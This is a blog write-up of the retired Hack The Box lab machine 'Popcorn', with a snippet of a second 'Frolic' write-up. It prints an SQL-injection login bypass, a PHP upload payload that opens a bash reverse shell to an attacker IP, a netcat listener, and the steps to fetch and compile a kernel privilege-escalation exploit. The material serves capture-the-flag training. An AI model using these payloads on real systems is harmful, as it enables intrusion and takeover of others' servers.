HacktheBox - Retired - Popcorn

HacktheBox - Retired - Popcorn - Updated

Recon

I've been using threader 3000 for my recon scans lately. It's a threaded python scanner that does a quick up/down scan on all tcp ports. After the initial scan it suggests a nmap scan to run based on only the open ports found in the initial scan. I like it alot

I then convert the XML the tool generates into HTML to make it pretty.

xsltproc ./popcorn.htb/popcorn.htb.xml -o ./popcorn.html

Port 22 OpenSSH 5.1p1
Port 80 Apache 2.2.12

Just two porst, a very old version of OpenSSH on port 22 and a very old version of Apache 2.2.12

Let's see what we can see on port 80

Just a page that says it's working.

So as part of web recon, we now can see what they want us to see, but how about other things that aren't part of this index.html that the web server is hosting?

For this we will do a directory/file brute force on the web server to see if it is indeed serving up anything other than just this index.html

dirb http://popcorn.htb

There is a /torrent/ directory let's check it out

Some software called torrent hoster.

So we have a login on this page, one of the first things I like to do when I see a login is see if it uses some sort of default easy creds like admin/admin, admin/password, admin/123456 or some such super low hanging fruit. If those don't work then I try just some generic SQL injections to see if we can get in that way.

Exploit

Using this sqli for a username we were able to authenticate as admin

admin'or'1'='1

OK so this looks like a torrent repo, where we can list torrent files. We can upload a new torrent to list on the site…. This is juicy.. If we can upload we can try to exploit.

I tried to upload a generic python script as a torrent to see what would happen.

I downloaded and ubuntu torrent to try to upload.

Cool, we can upload torrents to a torrent site...ok

Ok we can upload a screenshot too

I tried to upload my avatar

Let's see if we can sneak some php by this upload filter.

My goal is to try and capture the upload in burpsuite and insert some php inline during the transfer.

So first let's fire up burpsuite and capture a legit upload of a picture.

Now we send that over to repeater in burpsuite.

Now we will edit the file name to be .php instead of .jpg

And insert our php code somewhere inside of the jpeg transfer

Here is the PHP we are inserting.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'");
?>

We get a 200 back from the server so it looks like we did upload successfully.

We should set up our netcat listener now

nc -lnvp 5555

Now we just need to find a way to run the php we inserted.

Poking around we find the directory where it places these uploaded files

popcorn.htb/torrent/upload/

It renamed our file to some hash…. It appears to be a sha1 hash of the torrent we uploaded.

Ok, now if we click on the php hopefully we get our shell.

We did!! Congrats!

From here we can poke around and find that we can read the user.txt in the /home/george folder

I upgraded to a bit of better shell with python since this machine had python installed on it.

python -c 'import pty; pty.spawn("/bin/bash")'

I found this th_database.sql file in /var/www/torrent/database/

And it has this inside.

Looks like a md5 hash for the admin password. I just googled the hash and found that it is admin12

I tried to login with admin/admin12 on the torrent site and it doesn't work, I'm guessing the password had been changed after this file was created.

I looked up exploits for this version of linux and came across this one…

https://github.com/lucyoa/kernel-exploits/blob/master/full-nelson/full-nelson.c

So i downloaded a copy to my kali box and used nc to get it over to popcorn

Then used netcat on popcorn to xfer the file

Then all we need to do is compile using gcc

gcc ./fn.c -o fn

from here we can reach /root/root.txt

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open http Node.js (Express middlewar...

circusmonkey404's Security Site

Search This Blog

HacktheBox - Retired - Popcorn - Updated

Labels

Comments

Post a Comment

Popular posts from this blog

HacktheBox - Retired - Frolic

Hack The Box - Retired - Laboratory

A collection of online Security CTF and Learning sites